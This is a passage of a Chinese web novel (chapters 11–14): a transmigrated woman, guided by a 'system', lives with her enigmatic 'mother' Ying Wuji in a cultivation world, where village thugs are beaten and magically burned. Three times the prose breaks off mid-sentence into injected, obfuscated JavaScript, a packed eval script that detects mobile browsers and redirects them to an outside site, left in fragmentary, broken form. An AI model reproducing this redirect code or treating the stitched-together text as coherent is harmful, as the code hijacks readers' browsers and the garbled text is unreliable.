大娘们都很热情,完全超过了柳沅的预期,她只能一再强调用钱换,不接受送。可大娘们太热情了,竟然就那么要拉着她去她们家看布。 一群人拉拉扯扯,竟然就那么把应无霁挤出了人堆。他无聊地晃晃垂在颊边的小辫子,静静地站在一旁等柳沅。 今天村里东头的王家收稻谷,喊了不少男人帮忙。很多光膀子的男人分布在广场,都暗戳戳地看应无霁,更有胆大的,直接挤过来强行和应无霁搭话。 11. 昼与夜(1) 一个块头很大的男人挤过来,故意撞了应无霁的胳膊,对着他古怪地笑了笑:“我记得你是住在村子的东边,对吧?” 应无霁轻轻皱了皱眉头,没搭理他。 美人眉尖微蹙,眼若秋水。男人只觉得浑身上下冒起一股热气,看着应无霁的眼神越发贪婪。他眼神里的意图很明显,让远处那些胆子稍微小一点的男人们都躁动起来。 特别是应无霁这淡淡的态度,不知道又触动了他们哪根搭错的神经。有几个男人互相交换了一下眼神,呈包围态势逐渐向应无霁靠近。 而此时,柳沅依旧被大娘们缠着,互相拉扯着。 “我听她们都喊你俏儿,真好听的名字。不知道俏儿妹妹有没有兴趣跟着哥哥去别处玩玩?”大块头男人眼神痴迷,说话时不时咽咽口水,看起来十分猥琐。 应无霁动了动手指,慢条斯理地把垂在颊边的辫子往后掷了掷,对着他微微一笑。 男人顿时被这微笑迷了眼,以为自己诡计得逞,屁颠屁颠地跑到应无霁面前,痴笑道:“要不要跟着哥哥去看看啊?” 应无霁唇边的笑缓缓扩大,眼睛也弯了起来,美的不可方物。那群男人眼睛全都看直了,恨不得当场就对他一亲芳泽。 应无霁缓缓提步往前走,见众人不动,还十分疑惑地回头看着他们。 那一眼,虽然没什么感情,但让这群屈服在自己的幻想和欲望里的暴徒错觉频生。 大块头男人更是掩饰不住眼里的贪婪和凶恶,迫不及待地走到应无霁身边,引着他往前走去。 这么如花似玉的单纯姑娘,这群粗俗的乡下野汉是万万不会遇见的。可这么如花似玉的姑娘,竟然真的会被他一句话就骗走了。 男人沾沾自喜,警觉地观察着四周,寻找着最佳的幽会圣地。 今日田里收了不少稻谷,都堆在广场的角落里,是最好的掩体。 大块头男人想着,下流地笑了。 应无霁缓慢地走着,目光淡淡地落在这群迫不及待的男人身上。 另一边,柳沅依旧被热情的大娘们缠着,抱着各种颜色的布料推推拉拉。 “警告警告,娘亲遇到危险,请宿主尽快采取救援行动,保证娘亲安全,否则将受到电击惩罚。” 突如其来的系统警告让柳沅一怔。 “应无霁就在我旁边,能遇到什么危险?”她好不容易从大婶的围攻下脱身,气还没来的及喘几口,于是抱怨道。 刚说完,她便照着记忆中应无霁的方位望去。 空无一人。 这时,系统的警报再度响起,语调比第一遍更加尖锐。 “欸,我刚看到村里那几个不务正业的小混混把俏儿姑娘带走了,你说不会出什么事吧?”一个青年扛着铁锹,从柳沅身边经过。 闻言,和他并肩走的少年嗤笑一声:“那几个人能是什么好人?只能说俏儿姑娘自求多福了。她怎么能那么傻,啥人都跟着走?” 等等,柳沅顿时觉得浑身的血液都冰凉了。 俏儿?那不是她娘亲吗?跟着小混混走了? 一股无法阻挡,气势汹汹的怒气从脚底一路升腾到头顶,柳沅一下就炸了,直接抢了正在说话二人手中的铁锹和木棍,怒气冲天地往稻谷堆的方向冲去。 “去你爹的龟孙,敢动我娘亲!”她骂骂咧咧地飞奔到最大的谷堆处,听到了里面传来的声响,心头火气,转身对着前面就是一铁锹,谷堆后顿时响起鬼哭狼嚎。 慌乱间,柳沅看见应无霁好好地站在谷堆后,地上躺满了那群恶心的小混混,更是气不打一处来,抡起木棍就是一顿打,直打的人痛哭流涕,连声求饶。 她这才停下来,冷着一张脸强行拽过应无霁的手,对着那群人吐了一口口水。 “瘌□□想吃天鹅肉,恶心下贱的东西,竟然想出这样龌龊的事情,被我打残疾了也是活该!” 柳沅快被气疯了,心跳的飞快,差点就要晕过去了。就在这时,身后的应无霁及时出手,拦住了她的腰,及时接住了她后仰的身体。 柳沅身体一僵,猛地抬头看他,见他神色淡淡,心头的火更大了,开口就数落他道:“这些人都不是好人,你怎么还跟着他们走呢?你知不知道,我要是晚来一步,他们会对你做出什么可怕的事情?” 应无霁垂下眼睛,看了一眼地上躺着喊痛的男人们,竟然还轻轻扬起了嘴角。虽然幅度很小,但熟悉了他淡然表情的柳沅一下就看出来了。 笑什么?很好笑吗? 柳沅差点给他的反应气晕过去。她缓了缓气息,刚想说话,便看见应无霁双手交叉,不知道做了什么动作,那群人的身上突然燃起火来。 那火的颜色很奇怪,竟然是蓝色。柳沅这才发现每个人的身上都被贴了一张符咒。 对哦,她竟然忘了,应无霁会法术。 那股愤怒一下子就消了下去,柳沅深吸一口气,有点别扭地往远离应无霁的方向走了走。应无霁收回手,冷漠地看着缓缓升起的火焰,看着火越燃越大。 奇怪的是,这火没有烧毁这些人的衣服,也没有点燃旁边的谷堆。 渐渐的,他们挣扎的力气慢慢减弱,有的人目光涣散,竟然呈现出一种将死之相。 应无霁表情不变,静静地盯着那群人,似乎在等待着他们的死亡。柳沅转头,凑巧和他对视了一眼,被他空无一物的眼神吓了一大跳。 刚才……柳沅匆忙收回视线,心中疑虑渐生。 他好像对这群人的生死丝毫不在乎,就像在看石头看土,没有一丝的情绪波动。 他们的死亡,对应无霁来说,什么都不是。柳沅有点慌,她没见过死亡,也无法接受这么多人在自己面前缓慢地死掉。理智告诉她应该劝说应无霁停下来。 可她…… 柳沅沉默。 她没有立场劝说应无霁,因为受到伤害的不是她自己。 火越来越旺,由最初的淡蓝色,逐渐变成深蓝色。有几个人已经失去了知觉,身体一动不动了。应无霁依旧那么冷漠地看着,到最后柳沅不忍地转过头,闭着眼睛开始想怎么毁尸灭迹时,火突然停了。 一阵风从身前刮过,视线被挡住。柳沅看见了一根熟悉的桃木枝伸到自己面前。 她打了个寒颤,迟迟不肯放上自己的手。 四周突然变得格外安静,柳沅有些精神恍惚,突然喃喃道:“为什么停下?” 他的眼神怎么会那么荒芜,就像从来没看见过世间的美好,就像刚从地狱中出来的恶鬼。 桃木枝轻轻上移,冰凉又柔软的触感迫使柳沅抬起了下巴,撞入应无霁的眼里。 他很平静,指了指她的眼睛。 【你很害怕。】 柳沅不可置信地瞪大了眼睛,才发觉自己在无意识地发抖,也许是她这副样子让应无霁收起了杀意。 他静静地望着她,眼神波澜不惊。 “恭喜宿主,娘亲好感度上升五点,现在总好感度15点,请再接再厉!” 系统的机械音把她的思绪拉回了现实,柳沅低下头,脑子有点乱。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758357|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 应无霁又把那根桃木枝伸到她面前,等待着她握上去。 可柳沅很久没有动作。 应无霁觉得奇怪,又把桃木枝往她身前递了递,但柳沅依旧没反应。 “算了,”她深吸一口气,压下心底涌上来的怪异感,匆匆转头往回家的路上走。应无霁愣了愣,收回手上的桃木枝,慢慢跟在了她身后。 一路上两人都很沉默,应无霁是不会说话,柳沅则是不想。 她反复在脑海里问系统娘亲真的是傻白甜吗? 得到的回答都是是。 可柳沅依旧无法放下心来。她忘记不了刚才应无霁看着那些男人的眼神,很空很冷,带着目空一切的残忍。 像森林里厮杀的野兽。 这样的眼神绝对不会出现在一个娇生惯养的傻白甜眼中,又或者……剧情崩坏发生了。 柳沅突然醍醐灌顶,意识到这是书中世界,这是修仙世界。 修仙的世界应该都是实力为尊,那系统叙述中的善良单纯的娘亲,并非什么都不懂。柳沅回忆着应无霁的眼神,突然没有那么害怕了。 娘亲独自在这古怪的剧情里坚持了那么久,如果不狠一点,早就被吞食干净了。 柳沅自己说服了自己,心里也没那么难受了,眼珠一转,又想到了一个法子。 既然这是修仙世界,那……她是不是也可以修仙? 到时候说不定自己得到什么法宝,就不用撮合娘亲和渣爹在一起了。 越想越激动,刚才还情绪低落的柳沅就跟打鸡血了一样,突然活泼起来。 “对了,娘亲,你知道怎么修炼吗?”她突然刹住脚步,转头问道。 应无霁的眼睛微微睁大了,有点吃惊地看着她,见她没意识到称呼的问题,皱着眉点点头。 “那你可以教我吗?我很想学。”柳沅兴奋地凑到他旁边,挽住了他的手臂。 应无霁的身体僵了僵,伸出手想推开她,手又被柳沅握住了。 哼哼,柳沅在心里得意。根据她多年看小说的经验,和不太熟的人熟悉的第一步就是刻意制造肢体接触。虽然她能感受到应无霁的排斥,但—— 只要让他不推开自己就可以了。 柳沅得意地把应无霁的手往旁边一拉,笑得越发灿烂:“我刚才看到你用符了,感觉很厉害,能不能教教我?” 柳沅的长相不是可爱型的,但笑起来非常明媚,很容易让人心生好感。这可是她在村里实践过的,那些和她搭话的大娘都特别喜欢她。 她很自信应无霁不会甩开自己。 按照她的计划,接下来她这位人美心善的娘亲将心软,然后她将踏上修仙的旅途,她们两人都将摆脱系统的控制,奔向美好的未来! 谁料应无霁看起来柔柔弱弱的,力气却大得出奇,只是轻轻一用力,柳沅的手便被包裹住了,随后便是一阵剧烈的疼痛。 柳沅哎哟一声,被他像拎小鸡仔扔了出去。 应无霁拍拍自己被弄皱的衣服,对她露出一个冷冷的微笑,然后头也不回地往院子里走,根本看都不看她一眼。 什么意思?柳沅懵了。 这人什么意思? 她温柔可爱,弱不禁风,善解人意的娘亲呢? “你等等!” 柳沅狼狈地从地上爬起来,卯足了力气就往应无霁在的方向冲。然后她就看见自己这位总是慢悠悠的娘亲看了她一眼,像看见什么洪水猛兽,咻的一下钻进了房间,紧紧关上了门。 任她怎么敲都不开。 12. 昼与夜(2) “系统,你不是说我娘性格温顺,很好骗吗?我看起很可怕?用得着她这样躲我吗?”柳沅靠在应无霁门前,咬牙切齿道。 系统依旧毒舌:“性格温顺不代表没有脾气,你看刚才她对那群小混混的态度。而且你看起来确实热情的可怕。” “他看起来是个i人,我觉得是你吓到她了。” “我没有。”柳沅硬邦邦否认,烦躁地磨了磨牙:“她对待那群小混混的态度也没什么问题。” “对待欺负自己的人本就应该心狠。” 系统幽幽道:“是置之死地的心狠吗?” 柳沅不说话了,硬是拐了个话题,干巴巴道:“这些都没什么根据,都是你的猜测,我还是相信娘亲是个温柔可爱的女孩。” 系统:“……” “刚才明明是你说她脾气不好的。” “我什么时候说过了?”柳沅心虚地否认。 系统:“……嘴硬。” 柳沅看了一眼天色,大概是下午了。按照她所熟悉的应无霁的作息时间,再过一段时间他会出来做饭。只要她一直守在门前,一定能堵到应无霁。 这样想着,她不免有些得意,信心满满地哼起歌来。 谁料从下午到黄昏,应无霁硬是没出过门。正当柳沅不耐烦想直接破门而入时,应无霁竟然从厨房里走了出来,手里还端着几盘菜。 柳沅目瞪口呆地望着他,突然意识到这是一个修仙世界。 她娘亲会法术。 这衬得她堵门的计划像个笑话。 计划失败的柳沅垂头丧气地走到院子里的石桌前,幽怨地看了应无霁一眼,企图唤起他的怜悯,被无情地避开了目光。‘ “我温柔可爱的娘亲不见了,现在的她冷漠无情。”她向系统哀嚎。 系统幸灾乐祸道:“我说过让你努力提升和娘亲的好感度,谁让你不听。” “行了行了,我后悔了,我太后悔了。”柳沅痛苦地吞下饭菜,嘟囔道。 吃完饭后,应无霁并没有直接离开,而是坐在一旁等待着柳沅吃完。 难道是她回心转意,终于愿意告诉她怎么修仙了? 柳沅眼珠轱辘转着,匆匆吃完饭,又收拾好碗筷,奔到应无霁面前,期待地望着他。 应无霁从袖口中抖出一张纸来,贴在桌上,桌面顿时出现了纸和笔之类的东西。柳沅越发觉得他终于要教自己修仙了。 小说里的修仙都是从一本神秘的心法开始的。 她终于要进入这个奇妙的世界了! 谁料,应无霁看着她满怀期望的表情,轻轻扬起了嘴角,随后,柳沅感觉头顶一痛。 应无霁敲了下她的头,又摇了摇头。 什么意思?柳沅警觉地望着他,是觉得她没修仙天赋吗? “那个,娘亲,我……我真的对修仙十分向往,你看你人美心善,法术高强。就说……就说今天你惩罚那群恶心的混混,那符咒用的太厉害了,让我心生倾佩!” 柳沅特意强调了倾佩二字,继续道:“呃……我相信修仙固然需要天赋,但……但只要努力,会不会可能……” 她望着应无霁的眼睛,声音越来越小:“可能……可能入门……” 应无霁摇摇头,在纸面上写了一个字。 应该是……不认识啊。 柳沅疑惑地望着他,应无霁又写下了两个字,她能辨认出中间的那个字是无。 见她迷惑不解,应无霁轻叹一口气,指着这三个字,又指了指自己,告诉柳沅这是他的名字。 “应无霁,应该的应,无用的无,光风霁月的霁。”系统及时补充道。 纸上的字很好看,笔画流畅有力度,笔锋锋利,但整体看上去又很柔和,有种放荡不羁的感觉,柳沅盯着看了一会儿,忍不住上手摸了摸,似乎真的能感知到应无霁写字时的力度。 这算是他们正式的自我介绍了吧。柳沅心想。 好像,她回忆起他们的相遇和相处,好像他们确实没有对彼此介绍过对方。 “你的名字真好听。”柳沅抬起头,夸赞道。 应无霁笑了,眼睛弯弯的,好看极了。许是没想到柳沅会突然夸赞自己的名字,因此表情还带着点怔愣,柳沅被他的表情逗笑了,拿起笔,在纸上歪歪扭扭地写了两个字。 她写的简体字,但应无霁能认出来是哪两个字。 柳沅。 他在心里默念,对着面前的女子一笑。 【我可以教你识字,以后我可以用字来和你交流。】应无霁用手比划着。 柳沅点点头,完全把要学修仙的事情抛在了脑后,专心跟着应无霁认起字来。她学的很快,才一个时辰,就已经记住了不少字。 “哎哟,你记忆力不错嘛。”系统围观了全程,惊叫道。 柳沅闻言,尾巴都快翘到天上了,得意道:“那当然,你也不看看,我可是名校毕业的。” 应无霁将她的反应收入眼底,低下头写了些什么。柳沅伸头去看,又被他敲了一下。 她悻悻然缩回来,装作不在意,却一直在偷瞄。 “恭喜宿主,娘亲好感度提升五点,现在累计好感度20,请再接再厉!” 与此同时,应无霁把纸递到她面前。柳沅看见上面写了两个字。 【多谢。】 她下意识抬头去看他的眼睛,发现应无霁笑得很开心。那双刚才让她感觉到空无一物的眼神,在此刻鲜活起来。 而这样快乐的情绪也很快感染了她,让她也不由自主弯了弯眼睛。 而此时,系统尖锐的机械音打破了这份宁静:“任务触发,为了让宿主感受母爱,请在三天时间内让娘亲主动和你牵手。否则将受到雷击惩罚。” 柳沅刚才还笑着的脸一下就垮了下来。 “什么?你让应无霁主动牵我的手?你没事吧系统,为什么要让女儿和娘亲牵手?” 柳沅难以置信道。 此时,天色已晚,应无霁也转身往房间里走,只剩柳沅一个人站在院子里,于是她忍不住喊了出来。 声音回荡在空荡荡的院子里,莫名奇妙地让人害怕。她看了一眼暗暗的天色,缩了缩脖子,也往房间走去。 “母亲和女儿为什么不能牵手,母亲和女儿是彼此最亲近的存在,牵手是最好的增进感情的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758358|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方式。”系统道。 柳沅关上门,反驳道:“可我和应无霁又不是真的母女关系。” “但你在这个世界,你们就是这样的关系。”系统强调道。 柳沅坐在床边,无语地翻了个白眼:“牵手也就算了,你还让应无霁主动和我牵手,他那个淡淡的性格,谁琢磨的透?” 系统却道:“正是因为难,所以才会给你出任务,正是因为他不会主动去做,当他对你做了才证明你在他心里位置不一般。” 这话乍一听挺有道理,但柳沅总觉得怪异。 “可我只要完成撮合渣爹和娘亲的任务就可以了,我们的目标不是活下来吗?”柳沅道。 她现在和应无霁的关系谈不上多好,也绝对谈不上坏。两人之间能够和谐相处对她来说是最舒适的距离,如果还要再近一些…… 柳沅本能地有些排斥。 “这几天相处下来你也发现应无霁表面看着柔弱,但其实很有想法,如果你不能和他熟悉起来,到时候撮合能成功吗?”系统没好气道,“而且只是牵个手而已,都是女孩,怕什么?” 系统的这番话让柳沅醍醐灌顶。 对啊,都是女的,怕什么? 她这样想着,不知道为什么,有点心虚。系统还想重复一遍任务要求,被她打着哈哈打断了。 “柳沅!你给我认真听好不好?!”系统难得生气,受不了她的敷衍,怒斥道。 “好,好,我认真听,”柳沅溜到门边,一边开门一边敷衍道,“只不过现在天黑了,马上要睡觉了,我得去烧点热水洗澡好吗?” 说完也不等系统回答,快步跑到厨房,刚进去就发现应无霁也在里面。 因为系统刚才的那番话,柳沅有点不敢直视他的眼睛,匆匆低下头道:“你怎么也在这啊?” 应无霁伸出手,在空中轻轻一点,一行字显现出来。 【烧水。】 配上他犹如看弱智的眼神,很有攻击性。 柳沅脑子一抽,脱口而出道:“你能和我牵手吗?” 这话不仅让应无霁愣住了,也让柳沅自己愣住了。 “直接提要求算犯规哦。”系统幽幽来了一句。 “算了,”柳沅有点慌乱地低下头,拼命抑制着自己不受控制的心跳,“我……我也是过来烧水的。” 她有点结巴。 应无霁看着她,指了指铁锅,意识是水已经烧好了。 “这么快吗?”柳沅干笑一声,问道。 她现在真的很尴尬。她也不知道自己刚才怎么了,怎么就说出了那句话。这下应无霁不会以为她脑子有问题吧。 柳沅觉得天都塌了。 应无霁轻轻挥手,她面前又出现了几行字—— 【我有除尘符,不需要用到热水,这是给你准备的。早点休息。】 写完这些,应无霁便准备离去,但柳沅突然喊住了他。 “你……你既然会法术,那是不是可以给我传音,我其实还有很多字不太能认识……” 应无霁摇了摇头,柳沅的面前又出现了一行字:我身上还有伤,灵力不稳定,写字会好一点。 13. 昼与夜(3) 柳沅点点头,一时间不知道说些什么,索性沉默下来。应无霁往门外走,看样子是要回房间,她正好挡住了出去的路。 于是柳沅往旁边挪了挪,却发现她往哪边站,应无霁也跟着往那边站。 “要不你先走……”她刚抬起头,话都没说完,手心突然被一个暖呼呼的东西包裹住。她猛地低头,发现是应无霁的手。 “你……你……”她被吓得结巴起来,半晌都说不出完整的一句话,见状,应无霁歪歪头,疑惑地望着她。 【你不是要和我牵手吗?】 柳沅被吓死了,连忙甩开他的手,胡言乱语道:“我……我没有,我什么时候说过?” 见她一副惊惶的样子,应无霁瞪大了眼睛,用更加迷惑的眼神盯着她,看的柳沅越发心虚。 “我……我就是不太习惯……”她低下头,小声道。 一双手伸到她面前,轻轻点了点她的眉心。然后柳沅听见耳边传来一道陌生的声音:“虽然不知道你为什么会表现的这么奇怪,但天色不早了,早点休息。” 是应无霁的声音吗?柳沅猛然抬起头,却只见到他离去的背影。 “谢谢……谢谢娘亲,你也早点休息!”她结巴道。 两人间隔有点远,不知道他有没有听见。但好像从柳沅说出这句话后,应无霁就加快了速度,咻的一下就消失了。 厨房里还残留着柴火燃烧过的淡淡烟味,铁锅里的水冒着热气,在空气中拉出一条长长的雾气。 她还保持着手掌张开的姿势,直到系统的提示音出现在耳边:”恭喜宿主,任务完成!” 柳沅怔了怔,匆忙把手放下,僵硬地张开嘴,呼了一口气。 “恭喜你啊宿主,这么快就完成了任务。“系统调侃道。 柳沅的脑子有点乱,敷衍了系统几声,抬脚朝着冒着热气的灶台走去。 水很热,触碰到手心的感觉就像……就像…… 她突然一个激灵,猛地收回了手,锅中溅起水花,打湿了裙子的半边,可她恍然未觉。 系统的提示突然响起:“警告,娘亲好感度下降五点,目前总好感度15点,请宿主继续努力!” 她一下就从神游中惊醒,惊叫道:“怎么可能好感度一下子降这么多?不是才刚涨吗?” “我哪知道?”系统幸灾乐祸道。 任务完成带来的喜悦一下就被冲散了,她垂头丧气地打好热水,往自己房间搬去。路上她百思不得其解,这好感度怎么这么快会有波动? 她什么也没干啊。 “说不定是刚才好感度增加是娘亲的错觉,你主动提出牵手冒犯到她了吧?”系统推测道。 柳沅费力地擦着头发,眉心的两颗小痣挤在了一起,苦恼道:“可你都说了,这个任务是她主动做才能成功,那就说明她是愿意牵手的。” “谁知道呢?反正系统是不会出错的。”它道。 柳沅把长发搭在床边,躺在床上盯着天花板发呆。 “我怎么感觉你给我安排的任务都怪怪的呢?”她道。 系统啊了一声,不解道:“可这些不都是很普通的母女相处日常吗?你和你妈不是这样相处的?” 柳沅顿了顿,纠结道:“不是这个意思,就是我总感觉……总感觉这是……” 她结巴了半天,还是没能说出什么来。系统只当她觉得任务太难了没有动力完成,于是安慰道:“你只要多多亲近娘亲,努力提升好感度,任务不就很简单了?” “而且这本书注定是虐身虐心的古早文学,男女主的注意力只在感情上,反派才是这个世界上最可怕的人,你和女主打好关系,不就和男主打好关系了?有这两个命运眷顾的天选之子庇护,你还怕自己活不下去?” 等等,柳沅敏锐捕捉到了系统话里的漏洞,即刻问道:“你不是说我的剧情和反派毁天灭地的剧情没有重合度吗?现在又提到反派做什么?” 有种强烈的不安感在心中激荡,柳沅噌的一下坐了起来,质问系统道:“不会我还和反派有什么剧情吧?” 系统沉默了一段时间,才弱弱道:“这本书有上下两部,上部是你爹和你娘的故事,下部是反派的故事。要说有重合的话,应该就是你长大成人之后,疯狂爱上了反派,一直阻止反派和白月光在一起,最后惨死的故事。” “可我不是等到男女主生下我之后就可以回家了吗?”柳沅生气道。 系统干笑一声,心虚道:“之前说的确实是这样,可是……” “可是什么?”柳沅眼神如刀,恨不得马上剐了系统。 “你这边的世界线乱了啊,我有说过,一开始男女主提前闹掰了啊,按照正常的故事线,他们是在娘亲怀上你的时候才闹掰的,可剧情提前了,那同时反派的故事线也提前了嘛。” “他这个时候本来不会出现在主线任务里,但我这边显示他已经出现了。” 柳沅胸膛起伏,绝望地闭上了眼睛:“所以你的意思是,上下部的剧情全都乱了,我可能随时被剧情控制爱上反派,然后沦为炮灰的结局?” “当然也没这么绝望,只是可能反派会杀你,所以你最好快点把男主找到,然后撮合他们。”系统解释道。 “你不靠谱。”柳沅失去了所有力气,瘫倒在床上,目光死寂。 系统也很苦恼,说道:“我也没想到这是个苦差事,我被派来之前明明和我说只要修补一处剧情线就可以了,谁想到是现在这个局面。” “你被骗了,我也被骗了。我们都被骗了。”她心如死灰地闭上眼睛,有气无力道。 原本就睡不着,这下更睡不着了。古怪的是,从来到这个世界开始,每当夜晚降临,总会有一股莫名其妙的困倦,这股困倦直达灵魂深处,强制让柳沅入睡。 再醒来的时候,柳沅感觉到脑袋好沉,好像裹了什么重物,连翻身都很困难。她挣扎着想坐起来,头皮处却传来一阵撕裂的疼痛。 怎么回事?她使尽吃奶的力气也没办法起身,转头一看,自己的头发! 头发竟然在一夜之间长长了,本来只到腰间的头发,竟然一下子长到了脚踝处。 她好不容易把头发整理好,从床上下来,又差点被地上的头发绊倒。 可能修仙世界就是会有些不同寻常的事情发生,柳沅想起之前在李桑字家也看见过满地的头发,就打算去问问她。 她踉跄着走到梳妆台前,从里面摸出一把剪刀,咔擦几下剪掉了多余的头发,扎了个简单的侧麻花辫,就出门了。 应无霁的房门是开着的,柳沅早上很少能看见他,他总是早出晚归的。吃完应无霁给她留在厨房里的早饭,柳沅便提着裙子往李桑字家赶,路上正巧遇到往这边走的李桑字。 她穿了一身淡蓝色的衣裙,看着款式很新,裙摆上还绣着好几朵漂亮的茉莉花。见柳沅急匆匆赶来,她微微一笑,把手上的包袱递给她。 “这是什么?”柳沅气还没喘匀,就被塞了东西,忙道。 “你又忘了,”李桑字笑了,“这是昨日几位大娘家多余的布料,她们托我给你送来。你昨天不是说要给俏儿姑娘做几件衣服吗?” 柳沅这才记起这件事,笑着把包袱往怀里一揣,又问道:“我今天早上起床,发现我的头发突然长到脚踝了,我那天去你家也看到你们家有好多头发,这是有什么说法吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765863|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李桑字思索了一阵,道:“许是误食了什么药材吧,霞村附近长满了仙草仙药,应该是不小心吃了。” 这话也是,柳沅心想,她吃的都是应无霁做的饭,每次都有菜有肉,他平时也不见人影,应该是在山里找的。 这样柳沅就放了心,和李桑字一起回家放了东西,就要去找大娘们道谢。 “你可别了,”李桑字拉住了她,笑道:“大娘们本来就热心,你收下就行了,以后她们有什么忙帮一帮,不然一直道谢显得生分,她们也不会喜欢的。” “是这样吗?”柳沅挠挠头,有些不解。李桑字挽着她的胳膊,对她眨眨眼睛:“大家都是你帮我,我帮你,太看重亏欠与否会伤感情的。” 柳沅点点头。李桑字咳嗽了几声,摸着石桌坐了下来。 柳沅这才发现她的脸色不太好,似乎不如前日里红润了。 见她一直盯着自己,李桑字又咳嗽了几声,哑着嗓子道:“应该是受了些风寒,不是什么大病,不用担心。” “对了,”李桑字从袖口里拿出一张纸来,上面写了不少东西,“今天村里有人要去镇上,可以多带几个人,你要不要去瞧瞧?” “系统任务触发,请宿主探索村子以外的地方,目前检测到本书男主停留在镇上,请宿主抓住机会,找寻男主。注意,此次任务有奖励。” 一听有奖励,柳沅立即打起了精神,忙问道:“什么奖励?” 系统十分冷酷地吐出了一个字:“钱。” 钱!是钱啊!柳沅激动地欢呼一声,立马从凳子上跳了起来,把坐在一旁的李桑字吓了一大跳。 “你看起来好像很高兴。”她捂着嘴,笑道。 柳沅眉眼弯弯,摇头晃脑的高兴极了:“对啊对啊,来这里这么久,我都没去过镇上呢。” “镇上很热闹的哦,而且镇上的首饰胭脂还有衣服都好看的很呢。”李桑字说道。 果然,柳沅一听,眼睛都亮了。 那不就可以给应无霁买点漂亮首饰了?然后正好打听到渣爹的位置,然后她就能完成任务了! “你之前不是还想修仙摆脱任务吗?”系统冷不丁道。 “你竟然能知道我在想什么?”柳沅震惊。 系统嗤笑一声:“我一直都知道啊,也知道宿主对我可不满了。” 柳沅干笑一声,道:“这不是突然出现了个反派,我怕我小命不保吗?” “哈哈。”系统笑的阴阳怪气。 于是,柳沅满怀期待地跟着李桑字来到了村口,发现有两个人已经站在村口了,一个比较高瘦,一个比较矮胖。 李桑字往那两人在的地方看了几眼,耳尖突然红了。 那抹红十分明显,柳沅正好走在她身后,一抬眼就能看见。她正疑惑李桑字为什么突然脸红,就顺着她的视线看见了叶子桐。 那不是前几天送东西给她和应无霁的人吗?好像叫什么叶子桐? 柳沅跟着李桑字往前走。 “原来你说的要带一个人是她呀。”叶子桐看了柳沅一眼,柔声道。 李桑字飞快地瞟了他一眼,有点羞涩地低下头:“对,不过你怎么会认识她?” 叶子桐笑道:“前几日偶然碰见过。” 那两人在聊些有的没的,柳沅则在观察那个矮胖的男人。他一脸凶恶样,穿着却极为讲究,表情也趾高气昂的,特别是看到李桑字对着叶子桐笑,更是一脸不屑。 柳沅悄悄离他远了些,对系统道:“你之前是不是说过,李桑字是反派的白月光?叶子桐是反派的小弟?” “宿主你还记得那个隐藏任务啊?”系统阴阳怪气道。 14. 昼与夜(4) “别打岔,”柳沅不满道,“但我怎么觉得这两人不对劲呢?” 正说着,李桑字笑着转头,对着柳沅道:“我们要出发了,快来。” 柳沅这才看到村口处还停着一辆牛车。于是四人坐好,叶子桐和前面驾车的村民说了几句话,车便开始动了起来。 在车上,李桑字依旧主动和叶子桐说着话,柳沅越看越觉得不对劲。 “系统,要是反派的小弟和反派的白月光在一起了会怎么样?”她突然问道。 系统愣了一下,才慢吞吞说道:“我这边没有多少关于反派的信息,只有很简短的身份介绍。我不能预测关于反派剧情的走向。” “那你给我看看。”柳沅道。 随着脑海里响起叮咚一声,一副卷轴缓缓在她脑海里展开。 原书中对反派的描写很少,只是提到他是一个杀人如麻的恶魔,叛出仙山入人间,专挑修仙的人杀,到最后觊觎男女主身上的力量,同时也忌惮他们联手,于是通过给他们女儿下情蛊的方式,和女儿成亲,最终在婚礼上大杀四方。女儿为了保护他死了,他看都不看一眼,就想杀男女主,最后被男女主联手杀死。 而且这个反派性格阴翳,不按常理出牌,有人说他专吃修仙者的血肉,以此来精进修为。 男女主的女儿本来可以安然转世入轮回,却被他将灵魂搅碎,永远消失,只是因为反派扭曲的恨。 狠,实在是太狠了。 柳沅大为震撼,猛地睁开了眼睛,扑在牛车的边边,大口大口喘着气。 这真不愧是古早虐身虐心文里的反派,坏的离谱,坏的彻底。 此时,那个一直不说话的矮胖男人看了她一眼,突然道:“我怎么没见过你,你叫什么名字?” 柳沅还没消化完刚才看到的内容,心脏还在扑通扑通跳着,没工夫搭理他。 那人一下就火了,讥讽道:“耳朵聋的话就不要出来丢人现眼了,我找你说话是你的福气。” 他说话的声音很大,引起了李桑字和叶子桐的注意。李桑字一听他在骂柳沅,刚想反驳回去,就被叶子桐拉住了。 “王大牛从来都是这样,你别又和他起冲突,我去说。”他朝她摇摇头。 李桑字点点头。 叶子桐便道:“她是前几日俏儿姑娘带回村子的,叫柳沅。” “用得着你说,她自己没长嘴吗?” 柳沅这才回过神来,后知后觉自己被骂了。上下扫视了王大牛一眼,她微笑道:“我是你爹。” “满意了吗?儿子。” 